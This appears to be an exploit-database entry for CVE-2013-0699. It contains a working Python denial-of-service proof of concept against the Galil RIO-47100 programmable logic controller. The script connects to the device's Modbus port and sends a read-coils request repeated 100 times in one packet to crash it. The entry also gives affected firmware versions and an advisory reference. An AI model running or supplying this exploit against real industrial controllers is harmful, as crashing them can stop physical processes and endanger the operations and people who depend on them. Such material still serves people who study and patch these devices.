Galil-RIO Modbus – Denial of Service
# Exploit Title: Galil RIO-47100 # Date: 05-01-2013 # Exploit Author: Sapling # Vendor Homepage: www.galilmc.com # Version: Rio Firmware Prior to 1.1d # CVE : CVE-2013-0699 # ICSA: ICSA-13-116-01 /* There are many different ways to crash this PLC but most of them are centralized around the repeating a request in a single packet format. So read a coil repeated in a single packet. The Rio-47100 by Galil is a small PLC with an internal RISC based processor. It communicates using ModBus, or Telnet over Ethernet as well as having a web server built in that allows a user to issue commands. I take no responsibility for the use of this code and using this code you agree to take responsibility for your own actions. */ # Python Proof of concept # A quick run down of the last half start at \x06 # \x06 length # \x01 unit id # \x01 function code (read coils) # \x00\x00 start address # \x00\x01 coil quantity # Repeat the request in the packet 100 times # Unfortunateley I can't remember the minimum number of times you have to repeat to cause the crash import sys import socket new = socket.socket(socket.AF_INET, socket.SOCK_STREAM) new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP Address new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100) |